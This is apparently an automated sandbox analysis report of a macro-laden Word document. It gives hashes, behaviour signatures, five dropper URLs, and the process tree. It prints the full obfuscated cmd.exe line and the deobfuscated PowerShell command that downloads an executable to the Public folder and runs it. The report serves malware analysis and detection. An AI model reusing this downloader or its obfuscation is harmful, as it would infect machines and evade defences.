Analysis

  • max time kernel
    145s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-05-2024 22:18

General

  • Target

    5bc521b758d2288503d5c59d06d62dfc_JaffaCakes118.doc

  • Size

    77KB

  • MD5

    5bc521b758d2288503d5c59d06d62dfc

  • SHA1

    57c7d979ef03f90583e789b6eab17394e07a9b0c

  • SHA256

    733668adb75a557390e1170023a577b9176c3fb4885adce8e663a3062e1f22b6

  • SHA512

    eb93739878b97dc28252a72de7e7a116b36e5fa150974c5c3c9d38bbef86228e82e43ac1b82caa27275dc761ea527847a98ed2bd82725cc5edce04db5d4b9519

  • SSDEEP

    768:/pJcaUitGAlmrJpmxlzC+w99NBd+1oY/SYXCP9xSoDzXC0NWOnnqr/qrgJcoQjt:/ptJlmrJpmxlRw99NBd+aYqJzjeY

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://brkini.net/Rfb

exe.dropper

http://betwext.com/PTa1a1aF

exe.dropper

http://birmetalciningezinotlari.com/8NE/PAYROLL/Cpf2tl

exe.dropper

http://ussvictory.org/a

exe.dropper

http://tvaradze.com/pqHFlQI

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5bc521b758d2288503d5c59d06d62dfc_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2776
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /V^:^O/C"s^e^t B^7=^ ^ ^ ^ ^ ^ ^ ^ ^}^}{^hc^tac}^;^ka^er^b^;C^Ej$ met^I^-e^k^ovnI^;)C^E^j$ ^,d^D^W^$(^e^l^iFd^aolnwoD^.NG^z$^{^yr^t^{)^dJ^i$ ni d^DW^$(^hcaer^of;'exe^.^'+^b^w^l^$^+^'\^'+c^ilbup^:vne$=C^Ej$;^'8^8' =^ ^bw^l$^;)^'@^'(^t^ilpS.^'IQ^lFHq^p/m^oc^.ez^d^ar^avt//^:^p^t^th^@^a/^gro.yro^tcivs^s^u//:ptth@^l^t^2^fpC/^L^LORY^AP/EN8/^moc.ir^a^lt^onize^gn^in^iclate^mr^ib//^:ptth^@^Fa^1^a^1^a^T^P/m^oc^.^txewt^eb//:^p^t^t^h^@^bfR/ten.in^ikr^b//:^p^tt^h'=d^Ji^$;tn^e^i^lC^b^eW.^t^eN^ ^tcej^b^o^-^w^en^=NG^z$ lle^h^sr^e^w^o^p&&^f^or /L %^J ^in (3^65^;-1^;^0)^d^o ^s^e^t ^qD^Z=!^qD^Z!!B^7:~%^J,1!&&^i^f %^J ^ls^s ^1 c^a^l^l %^qD^Z:~^-^3^66%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2136
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $zGN=new-object Net.WebClient;$iJd='http://brkini.net/Rfb@http://betwext.com/PTa1a1aF@http://birmetalciningezinotlari.com/8NE/PAYROLL/Cpf2tl@http://ussvictory.org/a@http://tvaradze.com/pqHFlQI'.Split('@');$lwb = '88';$jEC=$env:public+'\'+$lwb+'.exe';foreach($WDd in $iJd){try{$zGN.DownloadFile($WDd, $jEC);Invoke-Item $jEC;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD99E3.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sbadn1xr.y2b.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Public\88.exe

    Filesize

    1B

    MD5

    68b329da9893e34099c7d8ad5cb9c940

    SHA1

    adc83b19e793491b1c6ea0fd8b46cd9f32e592fc

    SHA256

    01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b

    SHA512

    be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09

  • memory/2776-7-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-31-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-5-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-6-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-0-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-9-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-8-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-10-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-11-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-12-0x00007FFBE6AC0000-0x00007FFBE6AD0000-memory.dmp

    Filesize

    64KB

  • memory/2776-14-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-15-0x00007FFBE6AC0000-0x00007FFBE6AD0000-memory.dmp

    Filesize

    64KB

  • memory/2776-13-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-3-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-34-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-35-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-36-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-570-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-4-0x00007FFC28F0D000-0x00007FFC28F0E000-memory.dmp

    Filesize

    4KB

  • memory/2776-2-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-1-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-545-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-546-0x00007FFC28E70000-0x00007FFC29065000-memory.dmp

    Filesize

    2.0MB

  • memory/2776-566-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-569-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-568-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/2776-567-0x00007FFBE8EF0000-0x00007FFBE8F00000-memory.dmp

    Filesize

    64KB

  • memory/4812-48-0x000001F6863C0000-0x000001F6863E2000-memory.dmp

    Filesize

    136KB